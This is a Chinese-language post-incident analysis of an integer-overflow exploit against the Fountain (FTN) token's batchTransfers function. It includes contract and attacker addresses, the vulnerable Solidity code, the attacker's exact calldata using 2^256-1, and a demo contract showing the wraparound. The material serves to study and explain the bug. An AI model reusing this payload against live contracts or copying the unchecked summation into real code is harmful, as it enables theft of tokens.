攻击描述
- 被黑目标:Fountain(FTN)
- 事件描述:Fountain(FTN)存在溢出漏洞,攻击者通过调用
batchTransfers
进行溢出攻击。 - 攻击方式:整数溢出
合约说明
- Token 地址: 0x82cf44be0768a3600c4bdea58607783a3a7c51ae
- Token 代码: https://etherscan.io/token/0x82cf44be0768a3600c4bdea58607783a3a7c51ae#code
- 攻击者地址: 0xb1f736f0a47c2f391bb202e488feca199c1b6907
- 攻击哈希: 0x6898846b762aefcdb99d077212bed5e02fd40187dfe21f1070ec8f96b4a7e0da
攻击过程技术分析
攻击者通过调用 batchTransfers
函数进行溢出攻击
function batchTransfers (address[] receivers, uint256[] amounts) public whenRunning returns (bool) {
uint receiveLength = receivers.length;
require(receiveLength == amounts.length);
uint receiverCount = 0;
uint256 totalAmount = 0;
uint i;
address r;
for (i = 0; i < receiveLength; i ++) {
r = receivers[i];
if (r == address(0) || r == owner) continue;
receiverCount ++;
totalAmount += amounts[i];
}
require(totalAmount > 0); // 两者相加只需要大于 0 即可
require(canPay(msg.sender, totalAmount)); // 用户地址只需要有两者相加和的余额即可
wallets[msg.sender] -= totalAmount;
uint256 amount;
for (i = 0; i < receiveLength; i++) {
r = receivers[i];
if (r == address(0) || r == owner) continue;
amount = amounts[i];
if (amount == 0) continue;
wallets[r] = wallets[r].add(amount);
emit Transfer(msg.sender, r, amount);
}
return true;
}
批量转账的时候,只需要相加的金额,满足>0,满足 canPay 函数校验,就可以将巨额 token 转向收款人钱包。
攻击者调用的数据
Function: batchTransfers(address[] receivers, uint256[] amounts)
MethodID: 0x3badca25
[0]: 0000000000000000000000000000000000000000000000000000000000000040
[1]: 00000000000000000000000000000000000000000000000000000000000000a0
[2]: 0000000000000000000000000000000000000000000000000000000000000002
[3]: 0000000000000000000000005aaa48f6734e2e1c2d7d723fb9182755c9486704
[4]: 0000000000000000000000008ce6ae7e954a5a95ff02161b83308955ebc832cf
[5]: 0000000000000000000000000000000000000000000000000000000000000002
[6]: 0000000000000000000000000000000000000000000000000000000000000002
[7]: ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
# Name Type Data
0 receivers address[] 0x5aaA48f6734e2e1c2D7d723FB9182755c9486704,0x8cE6ae7e954A5A95ff02161B83308955Ebc832Cf
1 amounts uint256[] 2,115792089237316195423570985008687907853269984665640564039457584007913129639935
写个 solidity 代码做演示
// SPDX-License-Identifier: MIT
pragma solidity ^0.4.19;
contract Test {
uint256 public value1 = 2;
uint256 public value2 = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
// 结果返回 1
function test() public constant returns (uint) {
return value1 + value2;
}
}
所以只需要保证账户上有 1 wei 的代币,即可发起攻击,获取超额代币。
这和以前 BeautyChain 美链BEC智能合约漏洞分析 类似。都是批量转账的时候,amount叠加,导致被溢出攻击。